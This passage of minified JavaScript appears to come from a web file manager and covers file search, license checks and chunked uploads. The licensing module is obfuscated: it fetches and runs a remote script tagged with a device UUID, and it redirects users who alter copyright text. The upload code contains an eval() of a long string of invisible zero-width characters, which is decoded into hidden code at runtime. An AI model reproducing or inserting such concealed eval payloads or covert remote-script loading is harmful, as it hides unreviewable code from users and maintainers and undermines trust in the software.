e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+'').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",'',"",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",'',"iconSmall","iconSrc",'',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]() -},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o='
    '+'
    '+core.pathThis(e)+""+'0b'+''+LNG.upload_ready+""+''+'
    ';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('
    ').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,t,i){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){m()},1e3),void 0):(core.ajaxError(e,t,i),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){m()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info)):p.addClass("error").text(e.data),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};m();var _=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(d.data("progcess",i),0==i.length)d.find(".progress-bar").css("width","0%"),p.text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){_(),s=setInterval(function(){_()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(1==e.chunks)return i.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),eval("‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‌‍‌‍‌‍‌‍‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‍‍‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‌‍‍‍‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‍‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‌‍‍‌‌‍‍‍‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‌‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‌‍‌‌‍‍‌‍‍‍‍‌‍‍‍‌‍‍‌‌‌‌‌‍‍‍‌‌‌‌‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‌‌‍‌‍‌‌‌‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‌‌‍‍‍‌‍‌‌‌‌‌‍‌‌‍‌‍‍‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‌‌‌‍‌‍‌‍‌‌‌‍‍‍‍‍‌‌‍‍‌‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‌‍‌‌‌‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‍‌‌‌‌‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‍‌‍‍‍‍‍‍‌‌‍‍‍‍‌‍‍‌‌‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‍‍‍‍‍‌‌‌‍‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‍‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‌‍‍‍‍‍‌‌‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‍‌‍‍‍‍‌‌‍‌‍‌‌‍‌‍‍‌‍‍‌‍‌‌‌‍‍‍‍‍‍‌‌‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‍‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‌‍‍‌‌‌‌‍‍‍‍‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‍‌‍‍‍‌‍‌‍‌‍‌‍‌‍‍‍‌‍‍‌‌‌‍‍‌‌‍‍‍‌‍‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‌‍‍‌‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‍‍‌‍‍‌‍‍‍‍‌‍‌‌‍‍‍‍‌‌‍‌‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‍‍‍‌‌‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‌‌‍‌‍‌‍‍‌‍‍‌‍‍‍‍‌‌‍‌‍‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‌‍‌‍‌‌‍‍‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‍‌‍‌‍‌‍‍‌‌‌‍‍‌‌‌‍‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‍‌‍‍‍‍‌‌‍‌‍‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‍‌‍‍‍‍‍‌‍‍‌‌‌‌‍‌‌‍‍‍‌‍‍‌‌‍‌‌‌‍‍‌‌‌‍‍‌‌‍‌‌‍‌‍‌‍‍‌‍‍‌‌‌‌‍‌‍‌‍‍‌‌‍‌‍‍‍‌‍‌‍‍‌‌‍‌‌‍‍‌‍‌‌‍‌‍‍‌‌‌‌‍‍‍‍‌‍‍‍‍‌‌‍‌‌‍‍‍‌‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‍‌‌‌‍‍‍‍‍‌‍‌‍‌‍‍‍‌‍‍‍‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‌‍‌‌‍‌‌‌‌‍‌‍‌‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‌‍‍‍‌‍‌‌‍‌‌‍‍‍‌‌‍‍‌‌‌‍‌‌‌‌‍‌‍‍‌‌‍‍‍‍‌‍‌‍‍‍‌‌‌‍‌‍‌‌‍‌‍‍‌‍‍‍‍‍‌‍‌‌‌‍‌‍‌‍‌‍‍‌‌‍‌‍‍‌‌‍‌‍‌‍‌‌‍‌‍‍‍‍‌‍‌‍‌‌‍‍‌‍‌‌‌‌‌‍‌‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‍‍‍‌‍‍‍‌‍‌‌‍‍‍‍‌‍‍‍‌‍‍‌‍‌‌‌‌‌‍‍‌‌‍‍‌‌‍‍‌‌‍‍‌‍‍‌‍‍‍‍‍‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‌‍‍‌‍‍‌‍‌‍‍‍‌‍‍‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‌‌‌‍‍‍‌‍‌‌‌‍‌‍‌‍‌‌‍‌‍‍‌‍‌‌‌‍‍‌‍‍‌‌‍‍‌‍‌‍‍‌‍‌‌‌‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‌‍‌‌‌‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‌‍‍‍‌‌‍‍‌‌‍‍‌‌‌‍‌‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‍‌‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‌‍‌‌‍‌‌‌‌‍‌‌‍‌‌‌‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‍‌‍‍‍‌‌‌‍‍‌‍‍‌‌‌‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‍‍‍‍‌‍‍‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‍‌‍‌‍‍‍‍‍‌‍‍‍‌‍‍‍‌‌‍‍‍‌‍‍‌‍‌‌‍‌‍‍‌‌‍‍‌‍‍‍‌‍‍‍‌‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‌‌‍‍‍‌‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‍‍‌‌‍‌‌‍‌‍‍‍‍‍‌‍‌‍‍‍‍‌‌‍‍‍‍‌‍‍‌‍‌‍‍‌‍‌‌‌‌‍‌‌‍‌‌‌‌‌‍‌‍‌‌‌‌‌‍‌‍‍‌‍‌‌‍‍‍‌‌‌‍‍‍‍‍‌‌‍‍‍‍‌‍‌‌‌‍‍‌‍‍‌‌‌‍‍‌‌‍‌‌‍‍‌‍‌‍‌‍‍‌‍‍‌‍‌‌‍‌‌‌‍‍‌‌‌‍‌‍‍‍‍‌‍‌‍‍‍‍‌‍‍‌‌‍‌‍‌‌‍‍‍‍‌‍‌‌‌‍‌‍‍‍‌‌‍‌‍‍‍‍‍‌‍‌‌‌‍‍‌‌‌‍‍‌‍‍‌‌‍‍‍‍‌‍‌‌‍‌‌‌‍‍‌‌‍‍‌‍‍‍‌‌‍‌‌‌‌‍‌‌‍‌‌‍‌‍‍‌‍‌‍‍‍‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‌‍‍‍‌‌‍‌‍‌‍‍‌‍‌‍‌‌‍‍‌‌‍‌‍‌‍‍‌‍‌‍‍‌‍‍‌‍‌‍‌‍‍‍‌‌‍‍‍‌‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‌‍‍‍‍‍‍‌‍‌‍‍‌‍‍‌‌‌‍‌‌".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return 0>=s&&(s=0),s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o='
    '+''+htmlEncode(core.pathThis(a))+""+''+core.fileSize(e.size)+""+''+LNG.upload_ready+""+''+'
    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=$("#"+e.id);if(!t.inScreen()){var i=36*t.index(".item");$(".uploader-content").scrollTop(i)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];a.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(n),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(n).attr("title",n))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";if(e.serverData)if(e.serverData.data){var a=e.serverData.data;i=LNG[a]?LNG[a]:a}else 